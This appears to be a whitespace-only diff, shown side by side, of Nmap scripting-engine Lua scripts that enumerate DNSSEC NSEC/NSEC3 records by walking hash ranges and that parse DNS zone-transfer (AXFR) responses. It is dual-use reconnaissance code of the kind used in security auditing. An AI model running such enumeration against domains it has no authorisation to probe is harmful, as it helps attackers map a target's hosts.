if type(result) == "table" then if type(result) == "table" then
result["name"] = domain result["name"] = domain
output[#output + 1] = result output[#output + 1] = result
else else
output[#output + 1] = "No NSEC records found" output[#output + 1] = "No NSEC records found"
end end
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -82,345 +82,345 @@ all_results = {}
-- get time (in miliseconds) when the script should finish -- get time (in miliseconds) when the script should finish
local function get_end_time() local function get_end_time()
local t = nmap.timing_level() local t = nmap.timing_level()
local limit = stdnse.parse_timespec(stdnse.get_script_args('dns-nsec3-enum.timelimit') or "30m") local limit = stdnse.parse_timespec(stdnse.get_script_args('dns-nsec3-enum.timelimit') or "30m")
local end_time = 1000 * limit + nmap.clock_ms() local end_time = 1000 * limit + nmap.clock_ms()
return end_time return end_time
end end
local function remove_empty(t) local function remove_empty(t)
local result = {} local result = {}
for _, v in ipairs(t) do for _, v in ipairs(t) do
if v ~= "" then if v ~= "" then
result[#result + 1] = v result[#result + 1] = v
end end
end end
return result return result
end end
local function split(domain) local function split(domain)
return stdnse.strsplit("%.", domain) return stdnse.strsplit("%.", domain)
end end
local function join(components) local function join(components)
return stdnse.strjoin(".", remove_empty(components)) return stdnse.strjoin(".", remove_empty(components))
end end
-- Remove the first component of a domain name. Return nil if the number of -- Remove the first component of a domain name. Return nil if the number of
-- components drops below min_length (default 0). -- components drops below min_length (default 0).
local function remove_component(domain, min_length) local function remove_component(domain, min_length)
local components local components
min_length = min_length or 0 min_length = min_length or 0
components = split(domain) components = split(domain)
if #components < min_length then if #components < min_length then
return nil return nil
end end
table.remove(components, 1) table.remove(components, 1)
return join(components) return join(components)
end end
-- Guess the domain given a host. Return nil on failure. This function removes -- Guess the domain given a host. Return nil on failure. This function removes
-- a domain name component unless the name would become shorter than 2 -- a domain name component unless the name would become shorter than 2
-- components. -- components.
local function guess_domain(host) local function guess_domain(host)
local name local name
local components local components
name = stdnse.get_hostname(host) name = stdnse.get_hostname(host)
if name and name ~= host.ip then if name and name ~= host.ip then
return remove_component(name, 2) or name return remove_component(name, 2) or name
else else
return nil return nil
end end
end end
-- Remove a suffix from a domain (to isolate a subdomain from its parent). -- Remove a suffix from a domain (to isolate a subdomain from its parent).
local function remove_suffix(domain, suffix) local function remove_suffix(domain, suffix)
local dc, sc local dc, sc
dc = split(domain) dc = split(domain)
sc = split(suffix) sc = split(suffix)
while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do
dc[#dc] = nil dc[#dc] = nil
sc[#sc] = nil sc[#sc] = nil
end end
return join(dc), join(sc) return join(dc), join(sc)
end end
-- Return the subset of authoritative records with the given label. -- Return the subset of authoritative records with the given label.
local function auth_filter(retPkt, label) local function auth_filter(retPkt, label)
local result = {} local result = {}
for _, rec in ipairs(retPkt.auth) do for _, rec in ipairs(retPkt.auth) do
if rec[label] then if rec[label] then
result[#result + 1] = rec[label] result[#result + 1] = rec[label]
end end
end end
return result return result
end end
local function empty(t) local function empty(t)
return not next(t) return not next(t)
end end
local function random_string() local function random_string()
return msrpc.random_crap(8,"etaoinshrdlucmfw") return msrpc.random_crap(8,"etaoinshrdlucmfw")
end end
-- generate a random hash with domains suffix -- generate a random hash with domains suffix
-- return both domain and it's hash -- return both domain and it's hash
local function generate_hash(domain, iter, salt) local function generate_hash(domain, iter, salt)
local rand_str = random_string() local rand_str = random_string()
local random_domain = rand_str .. "." .. domain local random_domain = rand_str .. "." .. domain
local packed_domain = "" local packed_domain = ""
for word in string.gmatch(domain,"[^%.]+") do for word in string.gmatch(domain,"[^%.]+") do
packed_domain = packed_domain .. bin.pack("c",string.len(word)) .. word packed_domain = packed_domain .. bin.pack("c",string.len(word)) .. word
end end
local to_hash = bin.pack("c",string.len(rand_str)) .. rand_str .. packed_domain .. bin.pack("c",0) .. bin.pack("H",salt) local to_hash = bin.pack("c",string.len(rand_str)) .. rand_str .. packed_domain .. bin.pack("c",0) .. bin.pack("H",salt)
iter = iter - 1 iter = iter - 1
local hash = openssl.sha1(to_hash) local hash = openssl.sha1(to_hash)
for i=0,iter do for i=0,iter do
hash = hash .. bin.pack("H",salt) hash = hash .. bin.pack("H",salt)
hash = openssl.sha1(hash) hash = openssl.sha1(hash)
end end
return string.lower(base32.enc(hash,true)), random_domain return string.lower(base32.enc(hash,true)), random_domain
end end
-- convenience function , returns size of a table -- convenience function , returns size of a table
local function table_size(tbl) local function table_size(tbl)
local numItems = 0 local numItems = 0
for k,v in pairs(tbl) do for k,v in pairs(tbl) do
numItems = numItems + 1 numItems = numItems + 1
end end
return numItems return numItems
end end
-- convenience function , return first item in a table -- convenience function , return first item in a table
local function get_first(tbl) local function get_first(tbl)
for k,v in pairs(tbl) do for k,v in pairs(tbl) do
return k,v return k,v
end end
end end
-- queries the domain and parses the results -- queries the domain and parses the results
-- returns the list of new ranges -- returns the list of new ranges
local function query_for_hashes(host,subdomain,domain) local function query_for_hashes(host,subdomain,domain)
local status local status
local result local result
local ranges = {} local ranges = {}
status, result = dns.query(subdomain, {host = host.ip, dtype='NSEC3', retAll=true, retPkt=true, dnssec=true}) status, result = dns.query(subdomain, {host = host.ip, dtype='NSEC3', retAll=true, retPkt=true, dnssec=true})
if status then if status then
for _, nsec3 in ipairs(auth_filter(result, "NSEC3")) do for _, nsec3 in ipairs(auth_filter(result, "NSEC3")) do
local h1 = string.lower(remove_suffix(nsec3.dname,domain)) local h1 = string.lower(remove_suffix(nsec3.dname,domain))
local h2 = string.lower(nsec3.hash.base32) local h2 = string.lower(nsec3.hash.base32)
if not stdnse.contains(all_results,"nexthash " .. h1 .. " " .. h2) then if not stdnse.contains(all_results,"nexthash " .. h1 .. " " .. h2) then
table.insert(all_results, "nexthash " .. h1 .. " " .. h2) table.insert(all_results, "nexthash " .. h1 .. " " .. h2)
stdnse.print_debug("nexthash " .. h1 .. " " .. h2) stdnse.print_debug("nexthash " .. h1 .. " " .. h2)
end end
ranges[h1] = h2 ranges[h1] = h2
end end
else else
stdnse.print_debug(1, "DNS error: %s", result) stdnse.print_debug(1, "DNS error: %s", result)
end end
return ranges return ranges
end end
-- does the actuall enumeration -- does the actuall enumeration
local function enum(host, port, domain) local function enum(host, port, domain)
local seen, seen_subdomain = {}, {} local seen, seen_subdomain = {}, {}
local ALG ={} local ALG ={}
ALG[1] = "SHA-1" ALG[1] = "SHA-1"
local todo = {} local todo = {}
local dnssec, status, result = false, false, "No Answer" local dnssec, status, result = false, false, "No Answer"
local result = {} local result = {}
local subdomain = msrpc.random_crap(8,"etaoinshrdlucmfw") local subdomain = msrpc.random_crap(8,"etaoinshrdlucmfw")
local full_domain = join({subdomain, domain}) local full_domain = join({subdomain, domain})
local iter local iter
local salt local salt
local end_time = get_end_time() local end_time = get_end_time()
-- do one query to determine the hash and if DNSSEC is actually used -- do one query to determine the hash and if DNSSEC is actually used
status, result = dns.query(full_domain, {host = host.ip, dtype='NSEC3', retAll=true, retPkt=true, dnssec=true}) status, result = dns.query(full_domain, {host = host.ip, dtype='NSEC3', retAll=true, retPkt=true, dnssec=true})
if status then if status then
local is_nsec3 = false local is_nsec3 = false
for _, nsec3 in ipairs(auth_filter(result, "NSEC3")) do -- parse the results and add initial ranges for _, nsec3 in ipairs(auth_filter(result, "NSEC3")) do -- parse the results and add initial ranges
is_nsec3 = true is_nsec3 = true
dnssec = true dnssec = true
iter = nsec3.iterations iter = nsec3.iterations
salt = nsec3.salt.hex salt = nsec3.salt.hex
local h1 = string.lower(remove_suffix(nsec3.dname,domain)) local h1 = string.lower(remove_suffix(nsec3.dname,domain))
local h2 = string.lower(nsec3.hash.base32) local h2 = string.lower(nsec3.hash.base32)
if table_size(todo) == 0 then if table_size(todo) == 0 then
table.insert(all_results, "domain " .. domain) table.insert(all_results, "domain " .. domain)
stdnse.print_debug("domain " .. domain) stdnse.print_debug("domain " .. domain)
table.insert(all_results, "salt " .. salt) table.insert(all_results, "salt " .. salt)
stdnse.print_debug("salt " .. salt) stdnse.print_debug("salt " .. salt)
table.insert(all_results, "iterations " .. iter) table.insert(all_results, "iterations " .. iter)
stdnse.print_debug("iterations " .. iter) stdnse.print_debug("iterations " .. iter)
if h1 < h2 then if h1 < h2 then
todo[h2] = h1 todo[h2] = h1
else else
todo[h1] = h2 todo[h1] = h2
end end
else else
for b,a in pairs(todo) do for b,a in pairs(todo) do
if h1 == b and h2 == a then -- h2:a b:h1 case if h1 == b and h2 == a then -- h2:a b:h1 case
todo[b] = nil todo[b] = nil
break break
end end
if h1 == b and h2 > h1 then -- a b:h1 h2 case if h1 == b and h2 > h1 then -- a b:h1 h2 case
todo[b] = nil todo[b] = nil
todo[h2] = a todo[h2] = a
break break
end end
if h1 == b and h2 < a then -- h2 a b:h1 if h1 == b and h2 < a then -- h2 a b:h1
todo[b] = nil todo[b] = nil
todo[b] = h2 todo[b] = h2
break break
end end
if h1 > b then -- a b h1 h2 if h1 > b then -- a b h1 h2
todo[b] = nil todo[b] = nil
todo[b] = h1 todo[b] = h1
todo[h2] = a todo[h2] = a
break break
end end
if h1 < a then -- h1 h2 a b if h1 < a then -- h1 h2 a b
todo[b] = nil todo[b] = nil
todo[b] = h1 todo[b] = h1
todo[h2] = a todo[h2] = a
break break
end end
end -- for end -- for
end -- else end -- else
table.insert(all_results, "nexthash " .. h1 .. " " .. h2) table.insert(all_results, "nexthash " .. h1 .. " " .. h2)
stdnse.print_debug("nexthash " .. h1 .. " " .. h2) stdnse.print_debug("nexthash " .. h1 .. " " .. h2)
end end
end end
-- find hash that falls into one of the ranges and query for it -- find hash that falls into one of the ranges and query for it
while table_size(todo) > 0 and nmap.clock_ms() < end_time do while table_size(todo) > 0 and nmap.clock_ms() < end_time do
local hash local hash
hash, subdomain = generate_hash(domain,iter,salt) hash, subdomain = generate_hash(domain,iter,salt)
local queried = false local queried = false
for a,b in pairs(todo) do for a,b in pairs(todo) do
if a == b then if a == b then
todo[a] = nil todo[a] = nil
break break
end end
if a < b then -- [] range if a < b then -- [] range
if hash > a and hash < b then if hash > a and hash < b then
-- do the query -- do the query
local hash_pairs = query_for_hashes(host,subdomain,domain) local hash_pairs = query_for_hashes(host,subdomain,domain)
queried = true queried = true
local changed = false local changed = false
for h1,h2 in pairs(hash_pairs) do for h1,h2 in pairs(hash_pairs) do
if h1 == a and h2 == b then -- h1:a h2:b case if h1 == a and h2 == b then -- h1:a h2:b case
todo[a] = nil todo[a] = nil
changed = true changed = true
end end
if h1 == a then -- h1:a h2 b case if h1 == a then -- h1:a h2 b case
todo[a] = nil todo[a] = nil
todo[h2] = b todo[h2] = b
changed = true changed = true
end end
if h2 == b then -- a h1 bh:2 case if h2 == b then -- a h1 bh:2 case
todo[a] = nil todo[a] = nil
todo[a] = h1 todo[a] = h1
changed = true changed = true
end end
if h1 > a and h2 < b then -- a h1 h2 b case if h1 > a and h2 < b then -- a h1 h2 b case
todo[a] = nil todo[a] = nil
todo[a] = h1 todo[a] = h1
todo[h2] = b todo[h2] = b
changed = true changed = true
end end
end end
-- if changed then --if changed then
-- stdnse.print_debug("break[]") -- stdnse.print_debug("break[]")
--break --break
-- end -- end
end end
elseif a > b then -- ][ range elseif a > b then -- ][ range
if hash > a or hash < b then if hash > a or hash < b then
local hash_pairs = query_for_hashes(host,subdomain,domain) local hash_pairs = query_for_hashes(host,subdomain,domain)
queried = true queried = true
local changed = false local changed = false
for h1,h2 in pairs(hash_pairs) do for h1,h2 in pairs(hash_pairs) do
if h1 == a and h2 == b then -- h2:b a:h1 case if h1 == a and h2 == b then -- h2:b a:h1 case
todo[a] = nil todo[a] = nil
changed = true changed = true
end end
if h1 == a and h2 > h1 then -- b a:h1 h2 case if h1 == a and h2 > h1 then -- b a:h1 h2 case
todo[a] = nil todo[a] = nil
todo[h1] = b todo[h1] = b
changed = true changed = true
end end
if h1 == a and h2 < b then -- h2 b a:h1 case if h1 == a and h2 < b then -- h2 b a:h1 case
todo[a] = nil todo[a] = nil
todo[h2] = b todo[h2] = b
changed = true changed = true
end end
if h1 > a and h2 > h1 then -- b a h1 h2 case if h1 > a and h2 > h1 then -- b a h1 h2 case
todo[a] = nil todo[a] = nil
todo[a] = h1 todo[a] = h1
todo[h2] = b todo[h2] = b
changed = true changed = true
end end
if h1 > a and h2 < b then -- h2 b a h1 case if h1 > a and h2 < b then -- h2 b a h1 case
todo[a] = nil todo[a] = nil
todo[a] = h1 todo[a] = h1
todo[h2] = b todo[h2] = b
changed = true changed = true
end end
if h1 < b then -- h1 h2 b a case if h1 < b then -- h1 h2 b a case
todo[a] = nil todo[a] = nil
todo[a] = h1 todo[a] = h1
todo[h2] = b todo[h2] = b
changed = true changed = true
end end
end end
if changed then if changed then
--break --break
end end
end end
end end
if queried then if queried then
break break
end end
end end
end end
return dnssec, status, all_results return dnssec, status, all_results
end end
action = function(host, port) action = function(host, port)
local output = {} local output = {}
local domains local domains
domains = stdnse.get_script_args('dns-nsec3-enum.domains') domains = stdnse.get_script_args('dns-nsec3-enum.domains')
if not domains then if not domains then
domains = guess_domain(host) domains = guess_domain(host)
end end
if not domains then if not domains then
return string.format("Can't determine domain for host %s; use %s.domains script arg.", host.ip, SCRIPT_NAME) return string.format("Can't determine domain for host %s; use %s.domains script arg.", host.ip, SCRIPT_NAME)
end end
if type(domains) == 'string' then if type(domains) == 'string' then
domains = { domains } domains = { domains }
end end
for _, domain in ipairs(domains) do for _, domain in ipairs(domains) do
local dnssec, status, result = enum(host, port, domain) local dnssec, status, result = enum(host, port, domain)
if dnssec and type(result) == "table" then if dnssec and type(result) == "table" then
output[#output + 1] = result output[#output + 1] = result
output[#output + 1] = "Total hashes found: " .. #result output[#output + 1] = "Total hashes found: " .. #result
else else
output[#output + 1] = "DNSSEC NSEC3 not supported" output[#output + 1] = "DNSSEC NSEC3 not supported"
end end
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -102,15 +102,15 @@ prerule = function()
if not dns_opts.domain then if not dns_opts.domain then
stdnse.print_debug(3, stdnse.print_debug(3,
"Skipping '%s' %s, 'dnszonetransfer.domain' argument is missing.", "Skipping '%s' %s, 'dnszonetransfer.domain' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE) SCRIPT_NAME, SCRIPT_TYPE)
return false return false
end end
if not dns_opts.server then if not dns_opts.server then
stdnse.print_debug(3, stdnse.print_debug(3,
"Skipping '%s' %s, 'dnszonetransfer.server' argument is missing.", "Skipping '%s' %s, 'dnszonetransfer.server' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE) SCRIPT_NAME, SCRIPT_TYPE)
return false return false
end end
@@ -132,8 +132,8 @@ portrule = function(host, port)
else else
-- can't do anything without a hostname -- can't do anything without a hostname
stdnse.print_debug(3, stdnse.print_debug(3,
"Skipping '%s' %s, 'dnszonetransfer.domain' argument is missing.", "Skipping '%s' %s, 'dnszonetransfer.domain' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE) SCRIPT_NAME, SCRIPT_TYPE)
return false return false
end end
end end
@@ -149,39 +149,39 @@ end
--@class table --@class table
--@name typetab --@name typetab
local typetab = { 'A', 'NS', 'MD', 'MF', 'CNAME', 'SOA', 'MB', 'MG', 'MR', local typetab = { 'A', 'NS', 'MD', 'MF', 'CNAME', 'SOA', 'MB', 'MG', 'MR',
'NULL', 'WKS', 'PTR', 'HINFO', 'MINFO', 'MX', 'TXT', 'RP', 'AFSDB', 'X25', 'NULL', 'WKS', 'PTR', 'HINFO', 'MINFO', 'MX', 'TXT', 'RP', 'AFSDB', 'X25',
'ISDN', 'RT', 'NSAP', 'NSAP-PTR', 'SIG', 'KEY', 'PX', 'GPOS', 'AAAA', 'LOC', 'ISDN', 'RT', 'NSAP', 'NSAP-PTR', 'SIG', 'KEY', 'PX', 'GPOS', 'AAAA', 'LOC',
'NXT', 'EID', 'NIMLOC', 'SRV', 'ATMA', 'NAPTR', 'KX', 'CERT', 'A6', 'DNAME', 'NXT', 'EID', 'NIMLOC', 'SRV', 'ATMA', 'NAPTR', 'KX', 'CERT', 'A6', 'DNAME',
'SINK', 'OPT', 'APL', 'DS', 'SSHFP', 'IPSECKEY', 'RRSIG', 'NSEC', 'DNSKEY', 'SINK', 'OPT', 'APL', 'DS', 'SSHFP', 'IPSECKEY', 'RRSIG', 'NSEC', 'DNSKEY',
'DHCID', 'NSEC3', 'NSEC3PARAM', 'TLSA', [55]='HIP', [56]='NINFO', [57]='RKEY', 'DHCID', 'NSEC3', 'NSEC3PARAM', 'TLSA', [55]='HIP', [56]='NINFO', [57]='RKEY',
[58]='TALINK', [59]='CDS', [99]='SPF', [100]='UINFO', [101]='UID', [102]='GID', [58]='TALINK', [59]='CDS', [99]='SPF', [100]='UINFO', [101]='UID', [102]='GID',
[103]='UNSPEC', [249]='TKEY', [250]='TSIG', [251]='IXFR', [252]='AXFR', [103]='UNSPEC', [249]='TKEY', [250]='TSIG', [251]='IXFR', [252]='AXFR',
[253]='MAILB', [254]='MAILA', [255]='ANY', [256]='ZXFR', [257]='CAA', [253]='MAILB', [254]='MAILA', [255]='ANY', [256]='ZXFR', [257]='CAA',
[32768]='TA', [32769]='DLV', [32768]='TA', [32769]='DLV',
} }
--- Whitelist of TLDs. Only way to reliably determine the root of a domain --- Whitelist of TLDs. Only way to reliably determine the root of a domain
--@class table --@class table
--@name tld --@name tld
local tld = { local tld = {
'aero', 'asia', 'biz', 'cat', 'com', 'coop', 'info', 'jobs', 'mobi', 'museum', 'aero', 'asia', 'biz', 'cat', 'com', 'coop', 'info', 'jobs', 'mobi', 'museum',
'name', 'net', 'org', 'pro', 'tel', 'travel', 'gov', 'edu', 'mil', 'int', 'name', 'net', 'org', 'pro', 'tel', 'travel', 'gov', 'edu', 'mil', 'int',
'ac','ad','ae','af','ag','ai','al','am','an','ao','aq','ar','as','at','au','aw', 'ac','ad','ae','af','ag','ai','al','am','an','ao','aq','ar','as','at','au','aw',
'ax','az','ba','bb','bd','be','bf','bg','bh','bi','bj','bm','bn','bo','br','bs', 'ax','az','ba','bb','bd','be','bf','bg','bh','bi','bj','bm','bn','bo','br','bs',
'bt','bv','bw','by','bz','ca','cc','cd','cf','cg','ch','ci','ck','cl','cm','cn', 'bt','bv','bw','by','bz','ca','cc','cd','cf','cg','ch','ci','ck','cl','cm','cn',
'co','cr','cu','cv','cx','cy','cz','de','dj','dk','dm','do','dz','ec','ee','eg', 'co','cr','cu','cv','cx','cy','cz','de','dj','dk','dm','do','dz','ec','ee','eg',
'eh','er','es','et','eu','fi','fj','fk','fm','fo','fr','ga','gb','gd','ge','gf', 'eh','er','es','et','eu','fi','fj','fk','fm','fo','fr','ga','gb','gd','ge','gf',
'gg','gh','gi','gl','gm','gn','gp','gq','gr','gs','gt','gu','gw','gy','hk','hm', 'gg','gh','gi','gl','gm','gn','gp','gq','gr','gs','gt','gu','gw','gy','hk','hm',
'hn','hr','ht','hu','id','ie','il','im','in','io','iq','ir','is','it','je','jm', 'hn','hr','ht','hu','id','ie','il','im','in','io','iq','ir','is','it','je','jm',
'jo','jp','ke','kg','kh','ki','km','kn','kp','kr','kw','ky','kz','la','lb','lc', 'jo','jp','ke','kg','kh','ki','km','kn','kp','kr','kw','ky','kz','la','lb','lc',
'li','lk','lr','ls','lt','lu','lv','ly','ma','mc','md','me','mg','mh','mk','ml', 'li','lk','lr','ls','lt','lu','lv','ly','ma','mc','md','me','mg','mh','mk','ml',
'mm','mn','mo','mp','mq','mr','ms','mt','mu','mv','mw','mx','my','mz','na','nc', 'mm','mn','mo','mp','mq','mr','ms','mt','mu','mv','mw','mx','my','mz','na','nc',
'ne','nf','ng','ni','nl','no','np','nr','nu','nz','om','pa','pe','pf','pg','ph', 'ne','nf','ng','ni','nl','no','np','nr','nu','nz','om','pa','pe','pf','pg','ph',
'pk','pl','pm','pn','pr','ps','pt','pw','py','qa','re','ro','rs','ru','rw','sa', 'pk','pl','pm','pn','pr','ps','pt','pw','py','qa','re','ro','rs','ru','rw','sa',
'sb','sc','sd','se','sg','sh','si','sj','sk','sl','sm','sn','so','sr','st','su', 'sb','sc','sd','se','sg','sh','si','sj','sk','sl','sm','sn','so','sr','st','su',
'sv','sy','sz','tc','td','tf','tg','th','tj','tk','tl','tm','tn','to','tp','tr', 'sv','sy','sz','tc','td','tf','tg','th','tj','tk','tl','tm','tn','to','tp','tr',
'tt','tv','tw','tz','ua','ug','uk','um','us','uy','uz','va','vc','ve','vg','vi', 'tt','tv','tw','tz','ua','ug','uk','um','us','uy','uz','va','vc','ve','vg','vi',
'vn','vu','wf','ws','ye','yt','yu','za','zm','zw' 'vn','vu','wf','ws','ye','yt','yu','za','zm','zw'
} }
--- Convert two bytes into a 16bit number. --- Convert two bytes into a 16bit number.
@@ -189,61 +189,61 @@ local tld = {
--@param idx Index in the string (first of two consecutive bytes). --@param idx Index in the string (first of two consecutive bytes).
--@return 16 bit number represented by the two bytes. --@return 16 bit number represented by the two bytes.
function bto16(data, idx) function bto16(data, idx)
local b1 = string.byte(data, idx) local b1 = string.byte(data, idx)
local b2 = string.byte(data, idx+1) local b2 = string.byte(data, idx+1)
-- (b2 & 0xff) | ((b1 & 0xff) << 8) -- (b2 & 0xff) | ((b1 & 0xff) << 8)
return bit.bor(bit.band(b2, 255), bit.lshift(bit.band(b1, 255), 8)) return bit.bor(bit.band(b2, 255), bit.lshift(bit.band(b1, 255), 8))
end end
--- Check if domain name element is a tld --- Check if domain name element is a tld
--@param elm Domain name element to check. --@param elm Domain name element to check.
--@return boolean --@return boolean
function valid_tld(elm) function valid_tld(elm)
for i,v in ipairs(tld) do for i,v in ipairs(tld) do
if elm == v then return true end if elm == v then return true end
end end
return false return false
end end
--- Parse an RFC 1035 domain name. --- Parse an RFC 1035 domain name.
--@param data String of data. --@param data String of data.
--@param offset Offset in the string to read the domain name. --@param offset Offset in the string to read the domain name.
function parse_domain(data, offset) function parse_domain(data, offset)
local offset, domain = dns.decStr(data, offset) local offset, domain = dns.decStr(data, offset)
domain = domain or "<parse error>" domain = domain or "<parse error>"
return offset, string.format("%s.", domain) return offset, string.format("%s.", domain)
end end
--- Build RFC 1035 root domain name from the name of the DNS server --- Build RFC 1035 root domain name from the name of the DNS server
-- (e.g ns1.website.com.ar -> \007website\003com\002ar\000). -- (e.g ns1.website.com.ar -> \007website\003com\002ar\000).
--@param host The host. --@param host The host.
function build_domain(host) function build_domain(host)
local names, buf, x local names, buf, x
local abs_name, i, tmp local abs_name, i, tmp
buf = strbuf.new() buf = strbuf.new()
abs_name = {} abs_name = {}
names = stdnse.strsplit('%.', host) names = stdnse.strsplit('%.', host)
if names == nil then names = {host} end if names == nil then names = {host} end
-- try to determine root of domain name -- try to determine root of domain name
for i, x in ipairs(listop.reverse(names)) do for i, x in ipairs(listop.reverse(names)) do
table.insert(abs_name, x) table.insert(abs_name, x)
if not valid_tld(x) then break end if not valid_tld(x) then break end
end end
i = 1 i = 1
abs_name = listop.reverse(abs_name) abs_name = listop.reverse(abs_name)
-- prepend each element with its length -- prepend each element with its length
while i <= #abs_name do while i <= #abs_name do
buf = buf .. string.char(#abs_name[i]) .. abs_name[i] buf = buf .. string.char(#abs_name[i]) .. abs_name[i]
i = i + 1 i = i + 1
end end
buf = buf .. '\000' buf = buf .. '\000'
return strbuf.dump(buf) return strbuf.dump(buf)
end end
local function parse_num_domain(data, offset) local function parse_num_domain(data, offset)
@@ -264,25 +264,25 @@ end
--- Retrieve type specific data (rdata) from dns packets --- Retrieve type specific data (rdata) from dns packets
local RD = { local RD = {
A = function(data, offset) A = function(data, offset)
return offset+4, packet.toip(data:sub(offset, offset+3)) return offset+4, packet.toip(data:sub(offset, offset+3))
end, end,
NS = parse_domain, NS = parse_domain,
MD = parse_domain, -- obsolete per rfc1035, use MX MD = parse_domain, -- obsolete per rfc1035, use MX
MF = parse_domain, -- obsolete per rfc1035, use MX MF = parse_domain, -- obsolete per rfc1035, use MX
CNAME = parse_domain, CNAME = parse_domain,
SOA = function(data, offset) SOA = function(data, offset)
local field, info local field, info
info = strbuf.new() info = strbuf.new()
-- name server -- name server
offset, field = parse_domain(data, offset) offset, field = parse_domain(data, offset)
info = info .. field; info = info .. field;
-- mail box -- mail box
offset, field = parse_domain(data, offset) offset, field = parse_domain(data, offset)
info = info .. field; info = info .. field;
-- ignore other values -- ignore other values
offset = offset + 20 offset = offset + 20
return offset, strbuf.dump(info, ' ') return offset, strbuf.dump(info, ' ')
end, end,
MB = parse_domain, -- experimental per RFC 1035 MB = parse_domain, -- experimental per RFC 1035
MG = parse_domain, -- experimental per RFC 1035 MG = parse_domain, -- experimental per RFC 1035
MR = parse_domain, -- experimental per RFC 1035 MR = parse_domain, -- experimental per RFC 1035
@@ -392,7 +392,7 @@ local RD = {
lon = 0-lon lon = 0-lon
end end
return offset, string.format("%f %s %f %s %dm %0.1fm %0.1fm %0.1fm", return offset, string.format("%f %s %f %s %dm %0.1fm %0.1fm %0.1fm",
lat, latd, lon, lond, alt/100 - 100000, siz, hp, vp) lat, latd, lon, lond, alt/100 - 100000, siz, hp, vp)
end, end,
--NXT --obsolete RR relating to DNSSEC --NXT --obsolete RR relating to DNSSEC
--EID NIMLOC --related to Nimrod DARPA project (Patton1995) --EID NIMLOC --related to Nimrod DARPA project (Patton1995)
@@ -453,44 +453,44 @@ local RD = {
} }
function get_rdata(data, offset, ttype) function get_rdata(data, offset, ttype)
if typetab[ttype] == nil then if typetab[ttype] == nil then
return offset, '' return offset, ''
elseif RD[typetab[ttype]] then elseif RD[typetab[ttype]] then
return RD[typetab[ttype]](data, offset) return RD[typetab[ttype]](data, offset)
else else
local field local field
offset, field = bin.unpack("A" .. bto16(data, offset-2), data, offset) offset, field = bin.unpack("A" .. bto16(data, offset-2), data, offset)
return offset, ("hex: %s"):format(stdnse.tohex(field)) return offset, ("hex: %s"):format(stdnse.tohex(field))
end end
end end
--- Get a single answer record from the current offset --- Get a single answer record from the current offset
function get_answer_record(table, data, offset) function get_answer_record(table, data, offset)
local line, rdlen, ttype local line, rdlen, ttype
-- answer domain -- answer domain
offset, line = parse_domain(data, offset) offset, line = parse_domain(data, offset)
table.domain = line table.domain = line
-- answer record type -- answer record type
ttype = bto16(data, offset) ttype = bto16(data, offset)
if not(typetab[ttype] == nil) then if not(typetab[ttype] == nil) then
table.ttype = typetab[ttype] table.ttype = typetab[ttype]
end end
-- length of type specific data -- length of type specific data
rdlen = bto16(data, offset+8) rdlen = bto16(data, offset+8)
-- extra data, ignore ttl and class -- extra data, ignore ttl and class
offset, line = get_rdata(data, offset+10, ttype) offset, line = get_rdata(data, offset+10, ttype)
if(line == '') then if(line == '') then
offset = offset + rdlen offset = offset + rdlen
return false, offset return false, offset
else else
table.rdata = line table.rdata = line
end end
return true, offset return true, offset
end end
-- parse and save uniq records in the results table -- parse and save uniq records in the results table
@@ -514,61 +514,61 @@ end
-- parse and save only valid records -- parse and save only valid records
function parse_records(number, data, results, offset) function parse_records(number, data, results, offset)
while number > 0 do while number > 0 do
local answer, st = {} local answer, st = {}
st, offset = get_answer_record(answer, data, offset) st, offset = get_answer_record(answer, data, offset)
if st then if st then
parse_uniq_records(results, answer) parse_uniq_records(results, answer)
end
number = number - 1
end end
return offset number = number - 1
end
return offset
end end
-- parse and save all records in order to dump them to output -- parse and save all records in order to dump them to output
function parse_records_table(number, data, table, offset) function parse_records_table(number, data, table, offset)
while number > 0 do while number > 0 do
local answer, st = {} local answer, st = {}
st, offset = get_answer_record(answer, data, offset) st, offset = get_answer_record(answer, data, offset)
if st then if st then
if answer.domain then if answer.domain then
tab.add(table, 1, answer.domain) tab.add(table, 1, answer.domain)
end end
if answer.ttype then if answer.ttype then
tab.add(table, 2, answer.ttype) tab.add(table, 2, answer.ttype)
end end
if answer.rdata then if answer.rdata then
tab.add(table, 3, answer.rdata) tab.add(table, 3, answer.rdata)
end end
tab.nextrow(table) tab.nextrow(table)
end
number = number - 1
end end
return offset number = number - 1
end
return offset
end end
-- An iterator that breaks up a concatentation of responses. In DNS over TCP, -- An iterator that breaks up a concatentation of responses. In DNS over TCP,
-- each response is prefixed by a two-byte length (RFC 1035 section 4.2.2). -- each response is prefixed by a two-byte length (RFC 1035 section 4.2.2).
-- Responses returned by this iterator include the two-byte length prefix. -- Responses returned by this iterator include the two-byte length prefix.
function responses_iter(data) function responses_iter(data)
local offset = 1 local offset = 1
return function() return function()
local length, remaining, response local length, remaining, response
remaining = #data - offset + 1 remaining = #data - offset + 1
if remaining == 0 then if remaining == 0 then
return nil return nil
end
assert(remaining >= 14 + 2)
length = bto16(data, offset)
assert(length <= remaining)
-- Skip over the length field.
offset = offset + 2
response = string.sub(data, offset, offset + length - 1)
offset = offset + length
return response
end end
assert(remaining >= 14 + 2)
length = bto16(data, offset)
assert(length <= remaining)
-- Skip over the length field.
offset = offset + 2
response = string.sub(data, offset, offset + length - 1)
offset = offset + length
return response
end
end end
-- add axfr results to Nmap scan queue -- add axfr results to Nmap scan queue
@@ -586,7 +586,7 @@ function add_zone_info(response)
offset = offset + 12 offset = offset + 12
if questions > 1 then if questions > 1 then
return false, 'More then 1 question record, something has gone wrong' return false, 'More then 1 question record, something has gone wrong'
end end
if answers == 0 then if answers == 0 then
@@ -601,8 +601,8 @@ function add_zone_info(response)
-- parse all available resource records -- parse all available resource records
stdnse.print_debug(3, stdnse.print_debug(3,
"Script %s: parsing ANCOUNT == %d, NSCOUNT == %d, ARCOUNT == %d", "Script %s: parsing ANCOUNT == %d, NSCOUNT == %d, ARCOUNT == %d",
SCRIPT_NAME, answers, auth_answers, add_answers) SCRIPT_NAME, answers, auth_answers, add_answers)
RR['Node Names'] = {} RR['Node Names'] = {}
